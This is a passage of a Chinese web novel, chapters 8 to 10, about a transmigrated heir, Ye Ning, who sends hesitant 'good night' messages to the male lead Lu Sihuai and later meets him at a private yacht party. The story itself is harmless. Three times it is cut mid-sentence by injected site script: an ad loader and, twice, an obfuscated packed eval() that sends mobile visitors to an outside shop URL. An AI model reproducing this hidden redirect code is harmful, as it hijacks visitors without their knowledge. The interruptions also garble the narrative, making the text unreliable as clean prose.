他盯着手机,用仅有的几分清醒神智,思考该怎么顺理成章地拒绝这条申请,一只手伸过来。 下一秒。 “你已添加了‘LSH’,现在可以开始聊天了。” 叶宁:“……” “这次你别说什么‘白费力气’的话,勇敢一点。” 再下一秒。 勇敢的秦乐舟被叶宁请出了别墅。 秦乐舟站在别墅门口,思索良久,给赵浩南发去了消息。 【赵浩南:淮哥真的加他了?】 【秦乐舟:嗯。】 【赵浩南:那叶小少爷现在怎么样?】 【秦乐舟:很激动,呼吸都是乱的,刚刚跟我说想静静,把我送到了门口,我看到他右手都紧紧握着,还不敢看我,肯定是怕我看到他哭!】 【赵浩南:做得好!】 秦乐舟觉得自己做的还不够。 【秦乐舟:我得帮他。】 【赵浩南:你打算怎么帮?】 秦乐舟收好手机,回头深深看了别墅一眼。 这声兄弟可不是白喊的。 陆司淮的微信静静躺好友列表,只是躺着,没发来任何消息。 叶宁冷静得很快,秦乐舟离开后没多久,他就想通了。 可怕的从来不是陆司淮,而是这脱轨的剧情。 只是一个微信而已,又不是要和男主谈恋爱。 叶宁没再理会。 翌日。 叶宁从浴室洗完澡出来,手机接连响起七八声提示音。 叶宁打开一看。 【秦乐舟:推文-[男生视角告诉你,追到喜欢的男生其实真的很简单]】 【秦乐舟:推文-[男生视角告诉你:如何把男生钓成翘嘴]】 【秦乐舟:推文-[按照我说的这八个步骤来,让他喜欢你到上头,根本把持不住]】 叶宁:“……” 他错了。 可怕的也不是脱轨的剧情,而是男主的弟弟。 秦乐舟像是笃定叶宁不会主动联系他哥。 而他“笃”对了。 加上联系方式的第三天,秦乐舟发现两人的聊天记录依旧空白,而叶宁只有一句话:“我知道该怎么做,我有我的节奏。” “你的节奏就是…一直不说话吗?”秦乐舟疑惑道。 叶宁:“。” 秦乐舟这个人太好懂,什么表情都写在脸上,叶宁一眼就看穿秦乐舟的想法。 ——秦乐舟准备从陆司淮那边下手了。 叶宁警铃终于打响。 他不知道那天秦乐舟和陆司淮说了什么,才让陆司淮主动加了他,但总归不会脱离一个中心——他爱陆司淮。 不能再放任秦乐舟找他哥。 加上联系方式的第三天晚上,叶宁思索良久,终于在凌晨2点03分,发过去第一条消息。 【晚安。】 8. “抓个人” 翌日。 秦乐舟盯着聊天记录中苍白的“晚安”两个字,看着叶宁漂亮的脸。 看看屏幕,又看看叶宁的脸。 许久,从冰箱拿了一罐啤酒,站在落地窗前,久久不语。 “我给你的推文,你没看吗?”秦乐舟气若游丝。 “看了。” 骗人的。 他根本没点开。 “那你是怎么发出‘晚安’两个字的?”秦乐舟捏扁罐子,“在还没熟络之前,晚安、早安之类的,都是大忌!你应该发‘你睡了吗’,或者‘我睡不着’。” “而且,而且,你没注意时间吗?凌晨2点,一般人都睡了吧?” 叶宁:“我知道。” 正因为都睡了,他才特地挑的这个时间。 而陆司淮也意料之中的没回。 秦乐舟一转头,叶宁的眼睛在天光的映衬下,显得有些发亮。 ……像是在高兴。 只是发句“晚安”,他哥都没回,也能让他高兴吗? 秦乐舟舌头突然有些发麻,不知道该说什么了,他低头,给赵浩南发消息。 一分钟后,那边回复过来。 【赵浩南:你有没有想过,在我们看来很随意的“晚安”两个字,对他来说,可能已经是极限了,他不是没注意时间,是自我挣扎犹豫到了两点,才鼓起勇气发出了“晚安”两个字,哪怕淮哥不回他,他也心满意足!】 秦乐舟瞬间有种被真相击中的眩晕感。 他单手撑着窗户,缓了好一会,才转过身,看着叶宁:“对不起,是我没想到…你,你慢慢来。” 叶宁:“?” 又双叒叕怎么了。 好在自这之后,秦乐舟没有再对叶宁“饱含情意”的晚安两字发表什么评价,只是依旧每日一问。 而叶宁接连在凌晨发了三天“晚安”,没得到任何回复后,如释重负。 这个号很有可能只是陆司淮不在意的一个小号,叶宁心想。 虽然秦乐舟说是陆司淮的私人号,但使用频率究竟如何,他大概也不知道。 叶宁更安心了。 于是。 第一天。 【晚安。】 陆司淮没回。 第二天。 【晚安。】 陆司淮没回。 第三天。 【晚安。】 陆司淮没回。 第四天。 【晚安。】 陆司淮依旧没回。 第五天…叶宁没发。 因为助理接到董事长电话,带着叶宁去医院做了个复查,检查得很细致,几乎就是全身体检。 叶宁不喜欢医院的气息,每去一趟,都觉得耗神,回来后,他简单吃过饭,洗完澡,很早睡下。 再醒来时,天光已经大亮。 叶宁摸过手机一看。 7:55。 他躺在床上放空片刻,正要起身,手机“叮”一声。 叶宁思绪慢了半拍,才想起来可能是保姆阿姨——昨天回来的时候,助理看他精神不好,大概是跟还在北美的爷爷通过话,立刻安排保姆上门。 叶宁拿过手机,解锁。 他精神还有些黏连着,没怎么注意,在消息框打下信息:今天不用…… 等等。 这头像……? 黏连的思绪渐次醒转,叶宁视线一点一点上移。 只见顶头联系人名字写着三个冰冷字母:LSH。 而消息列表静静躺着六个字。 【LSH:昨天的晚安呢。】 叶宁手指一抖,直接被钉在床上。 是不是出现幻觉了? 六个字的消息,叶宁盯着看了几十秒,才彻底醒神。 他面无表情,手指移到右下角,长按删除键,将刚刚打下的“今天不用”四个字一字一字删除,然后…把手机扔到床尾。 神经绷得太紧,头有点疼。 他大概率还没睡醒,叶宁想道。 而另一头的陆司淮,看着上头“正在输入”的字样出现又消失,等了两分钟,没收到回信。 “笑什么?”正在线上会议的姚博文一抬头,就看到陆司淮视线偏转着,不知道在看什么,很轻地笑了声。 “没什么,”陆司淮淡淡回了一声,从右手边拿过打火机,起身,“抽支烟,你们继续。” - “晚安事变”之后,叶宁再没给陆司淮发过一条消息。 好消息是陆司淮似乎也不在意。 更好的消息是,秦乐舟这段时间很忙,忙到没时间盯梢。 叶宁过了两天清静日子。 期间唯一让他紧张的,是接到了一个电话。 备注上显示“爷爷”。 接到电话的时候,叶宁正坐在庭院里梳理这些天发生的事,想找因果,再找回去的方法。 可依旧一片茫然。 剧情发生严重偏转,叶宁感觉到失控。 在他陷入自我对峙时,接到了“爷爷”的电话。 有那么一瞬间,叶宁像是浸泡在低氧的水流中,呼吸都停滞了。 身体却比思绪更本能地接起电话。 电话那头声音精气神挺好,但有些含混,发沉。 很像爷爷,但不是。 叶宁没说话,一个字一个字听着,心口发出一声又一声闷重的钝响,终于能够敛好所有情绪,温和的对话。 起码在这个世界的这段时间,他得代替“叶宁”,照顾好他的爷爷。 通话持续了将近一个小时,爷爷像是要把这段时间没来得及说的话全部说完,大到那次发烧住院,小到保姆今天做了什么菜系,叶宁耐心细致地一一回应。 他原本以为这很难,可喊出“爷爷”两个字,只用了一瞬,很自然地,自然到令他自己都有些害怕的一瞬。 出口的那一瞬间,他竟只觉得…柔软。 从体表,到心脏,都像是被什么东西柔软地托着,它们聚集,散开,再度聚合,像是漂浮在一片浮水里,而浮水里有的,也只是柔软。 自那次通话后,爷爷的电话就多了起来,考虑到时差,最后喊停的往往都是叶宁。 转眼,云江已经进入十月。 国庆假期第二天,叶宁接到爷爷私人助理的电话。 “出海?” “嗯,”助理道,“前段时间红头文件刚下来,云江获批‘陆港型’枢纽建设重点,海金集团牵头组建了枢纽联盟,其中一个国际游艇码头打算趁着这阵风正式开业,这次算是私人宴会。” 云江自古以来就是海上通商重要口岸,三水互相贯通,位于心脏地带,海陆空运都十分发达,黄金航道数不胜数,不说对外开放的国际码头,私人码头都不少,集团底下多多少少都有几个。 重要的一向不是什么游轮,而是人情场。 “这次牵头的是海金的少东家,游轮是大溪集团旗下的后来者号,一百客位游轮,不算大。” 助理口中的“不大”,指的是和一些载客千人的大型游轮相比,后来者号是大溪集团面向特定宾客出售的豪华型“大玩具”,总共四层,除了剧院、泳池、攀岩场等设施,最出名的就是顶上那条prima赛道,可同时容纳8位赛车手竞速,同时还配有观赏台。 叶宁原本不想去,直到助理说起“游轮”。 ——穿过来那天,他也在船上,安市商会周年庆。 后来是怎么进海的,叶宁其实也记不太清楚了,只记得船体忽然一阵颠簸,他没站稳,后退两步,身后的护栏像是凭空消失了,他踩空,然后瞬间被海水淹没,等再睁开眼,就已经是那条巷子。 游轮…… 叶宁犹豫片刻:“海金那边请了谁。” 助理简单报了几个名字,都不在叶宁手机里,说明不是熟人。 助理的回复肯定了叶宁的猜想。 “我知道你很少参加这些宴会。” “这次邀请的基本都是世家孩子,还有云江最近几位 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 新贵,新面孔,不算熟,但海金的少东家瞿文星是个能来事的,看着不着调,做事还算周到。” “大溪的三少爷刚从国外回来,叫徐梁瑞,关于他的消息不多,据说是个混不吝,但还颇得徐老爷子疼爱。” 叶宁听着,偶尔“嗯”一声。 助理支吾片刻,最终说出电话的真正来意:“小少爷你这几天都一个人闷…待在公馆,董事长有点担心。” 叶宁:“爷爷?” 助理:“嗯。” 叶宁沉默几秒。 “知道了,”叶宁最终回道,“是后天?” 听到叶宁应下,助理语气都轻快起来:“嗯,我让司机来接你。” “嗯。” - 与此同时,陆司淮别墅书房。 “新坊的老狐狸不知道从谁那里听到了什么消息,主动让了两个点,还托我给你带句话,”姚博文走到陆司淮书房,把文件放下,颇有深意地转述:“说云江的风水养人,希望陆总乘风好去,借力上青云。” 陆司淮扫了眼落款,语气淡淡:“他有他的门道。” 姚博文“啧”了一声,回过味来:“你这是想当新坊的东风啊。” 陆司淮没答。 “对了,”姚博文耸耸肩,又道,“建京那边的项目你真打算停一段时间?” “没打算。” 姚博文:“?” “你知道这块地多少人盯着吗?”姚博文这下真有点丈二和尚摸不着头脑,“没打算停,你现在坐在这?” 陆司淮仍旧云淡风轻:“我不去,不代表云想不去。” 姚博文顿时有种不祥的预感:“你要谁去?” 陆司淮总算舍得把眼睛从文件里抬起来。 “你说呢。” 姚博文:“……” “不是,”云想二把手姚总抬手扯松领带,反手撑在陆司淮办公桌上,“新坊的合同已经谈妥,目前云江也没什么新计划,这儿又没事。” 陆司淮:“所以让你回建京。” 姚博文被他这理所当然的语气慑住:“那你留这干嘛?” 陆司淮这次倒是没回。 姚博文进一步威胁:“你就不怕我打着你的名义,在建京‘借力上青云’?” 陆司淮:“姚总随意。” 姚总:“……” 姚总愤而离场,刚收拾好领带,走到半道,又拍了拍额头,重新返回来:“差点忘了。” 他没好气地说:“海金的瞿文星办了个私人游轮宴,就在后天。” “还挺正式,发了请柬,去不去?” 海金的瞿文星,陆司淮有印象,但不多。 他随口一问:“喊了谁。” “云江刚批了陆港重点,又是海金牵头,自然是能叫的都叫了,还是那群人,庆泰、华兴、容宝……”姚博文突然想起,勾了勾唇角,别有意味地开口,“对了,还有叶家的。” “哪个叶家。” “你说呢,这云江还能有几个叶家,”姚博文道,“瞿文星可是特地提了他。” 陆司淮像是没太在意,只是手指在桌上轻巧点了两下。 “无趣。”姚博文还以为能看到什么新奇反应,结果就这,他耸了耸肩膀。 但想归想,正事依旧是正事。 姚博文也知道陆司淮对这些私人宴会没多大兴趣,在外头“抛头露面”的都是他这个副总。 “fine,替你回了,我去。” 姚博文正要走,身后却传来陆司淮的声音。 “不用。”他说。 姚博文有些诧异地转过身:“你要去?” 陆司淮:“嗯。” 姚博文:“又不谈合同,又没生意的,只有一群世家子弟吃吃喝喝,还吵,你去干什么?” 陆司淮垂眸,看了眼手机。 距离上次收到“晚安”已经过去一星期。 陆司淮想起那天医院天台看到的那双眼睛。 “抓个人。”他说。 9. 出海 “截至10月4号上午9时,全省高速公路…部分路段车流…当前云江天气晴…东南风…气温22到31度……迁港码头指挥中心广播播报。” 清脆的广播声在迁港码头上空盘旋。 云江迎来入秋后最后一波高温,时值假期,各大景区人流量不断翻新,迁港码头却静谧宜人。 庞大的游轮停靠在岸,银蓝色巨物昂然矗立,船身上赫然印着“后来者号”四个大字。 后来者号最顶层,员工休息室。 “唉,命真好啊,外面人挤人,走路都要排队,这里这么大的码头,这么豪华的游轮,只接待四十来个人,还得是豪门啊。” “你羡慕少爷小姐,还有人羡慕你呢,在船上一天拿的钱比别人半个月都多。” “也算是沾上光了嘿嘿,我听说这游轮第一次出海,我也是好起来了,都能坐上游轮了,换个角度想,少爷小姐们在船上,他们花钱,我也在船上,我挣钱,这么一想还真是美滋滋。” 陶鑫磊临时收到赵浩南的消息,上船出个“外勤”,刚确认过Prima赛道,一走到休息室,就听到里头的人这么说。 他推开门,看到几张熟悉面孔,其中还有一个他的老乡。 老乡名叫丁力,显然也看到了他,走上来:“鑫磊?你怎么也在这?我没在员工群里看到你啊。” “临时来的,”陶鑫磊指了指外面的赛道,摸摸脑袋,“这里的老板说今天可能有人会玩赛车,怕出意外,就喊了我们车厂,本来是浩南哥过来的,他有事,就让我过来看着。” “哦对对对,”丁力说着,转身向其他人介绍,“引力车厂,你们知道的吧。” 车对年轻男生的吸引力不用多说,这人一开口,剩下几个人也立刻双眼放光走过来。 “我知道我知道,去年云江SF赛车上我看到你们了!” 几人很快聊起来,没聊多久,耳机里传来领事的声音:“别侃大山了,翟少和徐少已经到了,都打起精神来,嘴巴甜点,做事麻利点,给自己赚点小费。” “好嘞。” “收到。” “我去一层,鑫磊你呢?” “我不用接待,在这里待着就好。” “那行。”丁力已经走到门口,像是突然想起了什么,停住脚步。 他想了想,从兜里掏出一本小册子:“浩南哥临时让你过来,那你也不知道这次都请了哪家的少爷小姐吧?这本册子给你,是兄弟才给你的,别人想要我还不给呢。” “有信息,还有照片,我也是费了不小的工夫弄到的,到时候你照着人喊。” 陶鑫磊“啊”了一声:“这也要认吗?浩南哥说我只用管好赛道就行。” “当然要认啊,你想想,要是哪家的少爷小姐过来赛车,你认全了,喊声什么翟少啊江小姐的,再教他们两手,一高兴,小费不就拿到手了?说不定还能给车队带来生意!” 陶鑫磊立刻拿过册子开始翻。 “认真看,”丁力走之前又左右看了两眼,压着声音凑到陶鑫磊耳边,“如果真记不全就算了,但有十来个人,我在名字后面打了星,你一定要认识,这几个人是这次宴会上最要紧的。” “也就是……”那人伸出一只手,拇指、食指、中指并在一起,很有深意地摩擦了一下,“云江这地最有权有势的。” 丁力小声逼逼,陶鑫磊也被带着紧张起来,小心翼翼翻开册子。 开头两个人就是海金的少东家翟文星和大溪集团的徐梁瑞,也就是这艘游轮主人。 “这你必须记住。”丁力说。 陶鑫磊盯着看了半分钟,才把脸和名字对上。 他继续往后翻,又看到两个名字带星的,同样记了小半分钟,然后—— 陶鑫磊:“刚刚那个徐少长什么样来着?” 丁力:“……” “不行,我好像真的记不太住,”陶鑫磊声音苦哈哈,皱着脸继续往后翻,“我感觉这些少爷都……” 陶鑫磊声音霎时顿住,睁着眼睛看着册子。 丁力见状,跟着低下头,瞄了一眼就笑了。 “这个好记吧,”丁力哈哈一笑,“这张脸我不用标星你应该都记得住。” 陶鑫磊:“叶…叶……” 丁力:“对,叶宁,叶氏集团的小少爷,就这张脸,基本没人可以认错。” “说起长相,”丁力又乐了,顺手抄过陶鑫磊手中的册子,往后迅速翻了两页,“光说长相,先不论别的,那就还有一个人。” 陶鑫磊一低头,硬生生吓出一个嗝。 “云想科技的陆总,这张脸也很好认…你怎么了?” “云想…淮…淮……” “对,陆司淮,”丁力回道,“我听领事说,云想的陆总平时不常出席宴会,都是副手,也就是二把手姚总过来,这次两人一起来了。” 陶鑫磊猛地“嗝”了一声。 “你怎么了?一直打嗝?”丁力问。 陶鑫磊已经懵了。 来之前浩南哥也没跟他说叶小少爷和淮哥会来啊? 陶鑫磊紧紧盯着丁力手上的小册子。 良久,终于蹦出一句话。 “为什么淮哥的名字后面,没有打五角星。” 丁力:“……?” 丁力被这个问题问倒,甚至没注意到陶鑫磊喊的是“淮哥”。 他摸了摸脑袋:“虽然云想科技这两年做的挺大,但也没法跟叶氏、海金这些老牌集团比吧。” 陶鑫磊闭上眼睛:“加上吧。” 丁力:“啊?” 陶鑫磊用灵魂出窍的声音说:“你信我,画个星吧,画个跟叶氏一样大的。” 丁力:“?” - 黑色卡宴沿着码头岸线驶入,停在泊车轨道。 叶宁坐在后座,看着手机上两分钟前发来的消息,陷入长久沉默。 “海金这次,还喊了陆司…云想吗。”叶宁表情有些空白,在略显昏暗的后座慢慢抬起头。 助理在后视镜中与他对视:“嗯,请柬好像是交给了他们姚副总,但这次云想的陆总也来了,他平日倒是挺少出席这类私人宴会,这次不知道怎么就应了。” “可能跟业务有关,我这边收到小道消息,说云想准备进军建京,海金又刚在建京拿下一块地,说不定业务上有交集,或者…想提前跟海金这条过江龙打个照面,以后也好借力‘过山头’。” “毕竟那是建京。” 过山头? 助理不知道,但叶宁再清楚不过。 哪怕海金是条过江龙,也绝不会是云想的过江龙,更不是陆司淮的。 山那边是建京,山那边还有更高的山。 而建京最高的那座山,姓陆。 就在叶宁思考现在打道回府的可能性的时候,前方已经过来一行人。 一共五人,都穿着正规的船制制服,肩上还佩着水手船员肩章。 打头的男人衣服最繁琐,肩章上竖着四条杠,看制服样式,应该是船上酒店总监。 “等一等”三个字还卡在叶宁喉咙,总监一摆手,他身后一个人上前将后座的门打开。 明亮的光线将后座照得通明,叶宁几不可见地叹了一口气。 想走,但晚了。 叶宁收拾好思绪,朝对方微一点头下车。 酒店总监在一旁介绍船体娱乐项目,领着叶宁走过接驳口,往游轮的方向走去。 叶宁登上游轮的一瞬间,响起一声短促鸣笛。 翟文星手机和鸣笛声一同响起,他看了一眼屏幕,把手中的牌递给身旁的人:“我去接个人,你接着玩,输了算我的。” 庆泰珠宝的二小姐倪桐稀里糊涂上了桌,打眼一扫,牌烂到家了。 “姓翟的是在诓我吧,躲牌就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000624|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲牌,还说去接人,这一船熟人,他接谁?” “这次还真没诓你。”一道男声出现在身后。 牌桌上几人一回头,是容宝房产的三少爷,大概刚从泳池出来,肩膀上还挂着一条浴巾:“真去接人了,你们不去看看?” “谁?” “我就提醒一个字,叶。” 倪桐立刻放下牌:“叶宁?” “真来了啊?”倪桐对面的女生开口,“文星昨天就说会来,我还不信,不玩了不玩了,我得去看看这云江水养出来的贵公子。” “唉,记得全算翟少头上啊,海金刚在建京拿了块地,又是码头又拿地的,海陆都不耽误,不给他出点血都对不起他。” 倪桐这次带了个亲戚,按辈分是她的表侄女,不是云江人,看到这群小姐少爷接连起身,止不住好奇:“表姑,谁啊?” “叶宁,”倪桐把手上的牌放倒,“就是那个叶氏集团的叶宁。” 作为云江最早发展的一批企业,叶氏地位自然不言而喻,但能与之比肩的集团也不是没有,比如目前正如日中天的海金。 可他们对叶宁的兴趣显然远大于翟文星。 表侄女仍旧疑惑。 “叶氏以后发展如何,目前还没有定数,但板上钉钉的是,”倪桐道出真相,“叶家的少爷可只有叶宁一个。” 虽然不在云江,但同样出身世家的表侄女立刻懂了。 和他们这些家族成员众多,不到最后不知道花落谁家的“备选继承人”比,叶氏早就瓜熟蒂落。 “叶老董事长对这个孙子宝贝得不行,平日可是很少让他独自出席一些宴会的,走走,姑姑带你见识见识。” 翟文星带着船长和船副从里头走出来,叶宁正站在游轮前部的观景台。 翟文星看了一会儿,才慢步上前。 叶宁听到背后的脚步声,转过身来。 一个还算近的社交距离,翟文星看清叶宁的脸,挑了挑眉,朝他伸手:“翟文星。” 叶宁伸手回握:“叶宁。” 翟文星笑声爽朗:“久仰久仰。” “怎么样,看到了没?”倪桐一行人站在一层的模拟驾驶室,朝着观景台看。 “看到了。”容宝房产的三少爷放下望远镜,吹了声口哨,紧接着,把手中的望远镜递给倪桐。 倪桐一把接过,戴上,然后…又是一声口哨。 叶宁在观景台上站了小片刻,船长对讲机响了两声。 “都上船了?好。” 叶宁下意识偏过头,往泊船码头看了一眼。 翟文星顺着他的动作往那边看:“落东西了?” “没。”叶宁答道。 都上船了,那也就意味着,陆司淮现在也在这里。 船长站在一旁,等两人说完话,才示意翟文星:“翟少?人都上船了……” 翟文星点头:“行,启航吧。” 说着,翟文星朝舱内方向一伸手,示意叶宁。 叶宁点头,说了句谢谢。 天气预报说这几天是云江最后的高温,的确不假,日光打在身上还有些烫。 船长先他们一步进舱。 “那边是模拟驾驶室,要是感兴趣的话,等会儿可以体验一下。” “那边……” 身侧是翟文星介绍游轮布局的声音,叶宁听着,偶尔应声。 海浪拍打着灰色岩岸,如同低频耳语。 海鸟振翅飞起,在空中高鸣,海风带起几丝咸腥气息,吹动游轮桅杆上的彩色旗帜,声音飒响。 日光将旗帜照出斑驳剪影,落在叶宁脸上。 叶宁就在这几道声音环绕中抬起头—— 与站在顶层观景甲板上往下看的人,对上视线。 游轮长鸣一声,离港启航。 叶宁的心跳跟着鸣笛声一同乍响。 ……是陆司淮。 10. 堵人 “还有那边是攀岩场,露天泳池和冲浪台在三层,如果不想去泳池,房间里也有……”翟文星走到扶梯,才发现原本走在身侧的人落后两步,站在原地,抬着头,像是在看什么。 他顺着叶宁的视线,跟着抬起头——倪桐他们不知道什么时候跑到了三层的甲板。 七八个人手中都没闲着,各自端着一杯起泡酒,靠着护栏,煞有其事地交杯交谈,全身上下都透露着矜持两个字,仿佛在说“我没有故意偷看而是兴之所至我们刚好出来而你们刚好过来”。 翟文星:“……” “那边带着遮阳帽的,是庆泰珠宝的倪桐,她旁边的是她的表侄女和容宝房产的仲俊豪,还有那边…算了,等会儿上去给你介绍。” 翟文星视线被三层那乌泱泱的脑袋占满,根本没留意顶层观景台上一道人影。 叶宁不动声色收回视线,声音听不出一点异常:“好。” 然而翟文星不知道,叶宁刚刚几次都差点想要喊“停船,他要下船”。 叶宁若无其事走到翟文星身边,两人继续往里走。 然而不知道是不是翟文星的错觉,他总觉得叶宁好像…突然加快了脚步? 翟文星:“?” 陆司淮站在高处,看着底下那人明显加快的脚步,轻笑一声。 他拿过打火机,点了一支烟,咬着,反身靠在护栏上。 姚博文走过来:“找你半天了都不见人,在这躲清闲?” 陆司淮视线有意无意往下一瞥。 “看风景。”他随口说。 “看风景?”姚博文疑惑着往四周扫过,又顺势往底下看,除了船上设施,就是天和海,“有什么风景?这天和海你没看过?” “走了。”陆司淮道。 “走了?”什么风景还有走? 这次陆司淮只是笑笑,没说话。 “对了,”姚博文往里头一指,“我在里头见到陶鑫磊了,浩南让他过来检查赛道。” “所以说翟文星这个人做事周到,我听说前两天上去跑了好几圈,交给别人不放心,自己上去跑的,还是怕出事,喊了人专门看着。” “海金以后如果是翟文星当家,说不定能有另一番景象。” 姚博文正说着,手机响了下。 “翟文星问你要不要下楼喝杯酒,说是人都在。” 陆司淮拿烟的手指懒散曲着:“你先下去。” 姚博文:“你呢?” “让他缓缓。”陆司淮说。 直到走进屋子下楼,姚博文都不知道陆司淮口中的“他”是谁,又要缓什么。 而此时的三楼帆船酒吧,一群人坐着环形沙发上。 巨大的采光玻璃顶映下柔和的光线,照在大堂。 叶宁跟在东道主翟文星身后,跨进酒吧大堂的瞬间,不少人站了起来。 叶宁早已习惯这些名利场,自爷爷走后,作为集团新任的接班人,再怎么觥筹交错的场合都见过,和那些一步一陷阱的财权宴相比,今天这局甚至可以算得上温和。 叶宁是带着目的出海的,比起坐在这里喝酒,他其实更想回房间,或许能找到回去的法子,但坐在这里,他就代表“叶宁”,代表叶氏,保持得体是他的本能。 话题一个接着一个,没停下。 倪桐和身侧几人对视一眼。 在来之前,他们想象过叶宁的性格。 大概率是有些“自傲”的。 作为叶氏唯一的继承人,叶老爷子又是出了名的疼孙子,要什么给什么,虽然叶宁父母早逝,但被叶老爷子这样的长辈养大的孩子,几乎不会缺爱——说得讽刺些,叶宁得到的爱,甚至比他们这些父母双全,兄弟姐妹众多的家族子弟得到的爱更多。 叶宁几乎不在这些场合露面,除了“看不太上”,他们实在找不到更合适的理由,而这样的小少爷,无一例外都会端着。 既然他端着,那其他人就做好“捧”的准备。 倪桐她们也的确做好了“捧”的准备——抛开所谓的人情世故不说,光是看着叶宁这张赏心悦目的脸,捧一捧也不是什么难事,算不上违心,毕竟美人总是有资本的。 然而倪桐他们发现猜想错了。 叶宁游刃有余。 这种游刃有余和翟文星那种“长袖善舞”又不一样,叶宁完全松弛,寥寥几句就能感受到他的温和有礼,不厚此薄彼,不偏颇,更不枯燥。 名利如镜,而镜中人完全配得上那句“云江水养出来的贵公子”。 姚博文同样意外。 很意外。 他不是没听过叶宁找麻烦的事,但很奇怪,以叶宁的身份和能力,明明可以直接给云想使绊子,可叶宁没有。 他似乎只针对“陆司淮”,最出格的也就是停了赵浩南他们的车厂,而停车厂这件事归结起来,也是因为车厂背后的老板是陆司淮。 姚博文不知道该怎么描述那种感觉,叶宁这些举动都很…虚无?虚无到他找不到支撑的逻辑,自相矛盾,就好像有人要他去针对赵浩南他们,去针对陆司淮,又没落到实处。 这半遮半掩的“针对法”,的确迷惑人。 姚博文一直以为叶宁是个小纨绔。 直到今天见到人。 姚博文将杯中的酒一饮而尽,拿出手机,给某个人发去一条消息。 【叶宁这个人挺有意思,你不下来看看?】 那头没回。 姚博文也不在意,笑了笑,收起手机。 酒店总监这时走进来,对着翟文星说:“翟少,点心准备好了,在休闲观景甲板。” “先吃点吧,”翟文星对着一群人说,“现在日头还不错,没那么晒,去看看?” 众人没什么意见,起身往外走。 倪桐起身的时候才发现一件事:“上船这么久,怎么半天不见徐梁瑞?人呢?” “不会是不舍得这艘游轮了吧?我听说徐少很大方地把这艘游轮送给翟少了啊,当做庆祝海金进军建京的贺礼,”有人打趣道,“别不是躲房间里哭了。” “他啊,”翟文星摇了摇头,“早上六点才从Vegas出来,喝晕了,正躺房间里补觉呢。” Vegas,叶宁听过,云江最大的私人会所。 几人啧啧一声,话题揭过。 倪桐和几个女生戴好墨镜和防晒帽,慢悠悠跟在后头,视线都不自觉飘动叶宁身上。 “怎么样?”身旁一人问。 “什么怎么样?”倪桐说。 “装吧你就,眼睛都快黏人身上了。” 倪桐摸着良心开口:“我这叫欣赏。” 彼此都是人情场上长大的,只对视一眼,就看懂了彼此间那些没说出口的话——叶宁待所有人都温和有礼,挑不出一丝差错,而万事得体的另一种说法就是万事“冷漠”。 他情绪温和,换一种说法也就是,没有情绪。 “很遗憾,在场没有一个人能让叶小少爷‘另眼相看’。”倪桐装模作样叹了一口气。 倪桐正撩着长发闲侃,“砰”一声,遮阳帽被压扁,糊在脸上。 倪桐往后退了一步,扶好帽子后,一拳擂在前头的仲俊豪肩膀上:“突然停下也不知道打个招呼吗?我的妆都给你毁了。” 仲俊豪一脸无辜:“前面停下了,我也不知道啊。” 一群人此时正站在过道间。 过道不窄,但也没有宽敞到哪里去,一群人同时停下脚步就显得有些拥挤了。 几人还来不及问停下的理由,顺着人群一抬头。 顶层扶梯转角处站着一个人。 他半倚着护栏,身材出挑,衣角随风扬起不平整的弧度,手臂微曲着,闲散地搭在银白色栏杆,此时正低着头打电话。 三秒后,倪桐在心里吹响今天第二声口哨。 她正要说话,身边的表侄女突然开始推搡她:“表姑表姑,你快看叶宁。” 叶宁在上船的瞬间,就想过他会在船上见到陆司淮。 可能是午宴,可能是礼貌性招呼的介绍场,甚至在翟文星带他去酒吧大堂的时候,也做好了和陆司淮碰见的准备。 叶宁没想过隔着甲板的那一瞥,更没想过转角这猝不及防的碰面。 和之前隔着甲板和天幕的“惊鸿一瞥”不同,这次他们之间只差了几个台阶的距离。 叶宁的脚步比所有思绪都来得诚实,也来得迅速。 他停下了。 而在来之前被他爸千叮咛万嘱咐,说叶老董事长隔着大洋特地打来电话问候,因此让他一定要好好招待的翟文星看到叶宁停下脚步,自然而然一道停下。 于是,一个接着一个,整只队伍紧急刹车。 陆司淮接完电话,侧过身,站在台阶上。 他唇角淡扬着,视线像是自动锁定,不偏不移直直看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000625|148492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某个方向,没有给旁人留下一点闲余。 无人说话。 一向不能容忍场子冷掉,尤其是他自己场子冷掉的翟文星都没有说话。 异常安静。 “这是云想的陆总吧?”倪桐身后有个女声响起。 “嗯,陆司淮,我爸之前跟我提过。” “我怎么觉得这位陆总看的方向是…叶宁?” 倪桐之前被表侄女推搡的时候,视线就没离开过叶宁。 而此时,她看到万事得体、万事冷漠、没有情绪的叶宁垂在身侧的手不自然地往回拢了拢,又松开,又往回一拢。 虽然动作幅度很小,但倪桐看了个正着。 倪桐:“?” 周遭只剩下海浪拍打船身的钝响。 整个过道被无声包裹起来。 几人还持续懵着。 下一秒,有人打破沉默。 ——台阶上的人总算动了,他从转角处慢慢走下来,视线却始终没有偏转,仍旧朝着某个方位,脚步也一如他的视线,延伸至某人面前。 毫不遮掩的意图。 一步。 两步。 再下一秒。 叶宁忽然转过身,冷静地从口袋里拿出手机。 他没有丝毫停顿,对着一旁不知道发生了什么的翟文星淡声开口。 “抱歉,有个电话。” “我接一下,你们继续。” 说完,叶宁转身,头也不回地往后走。 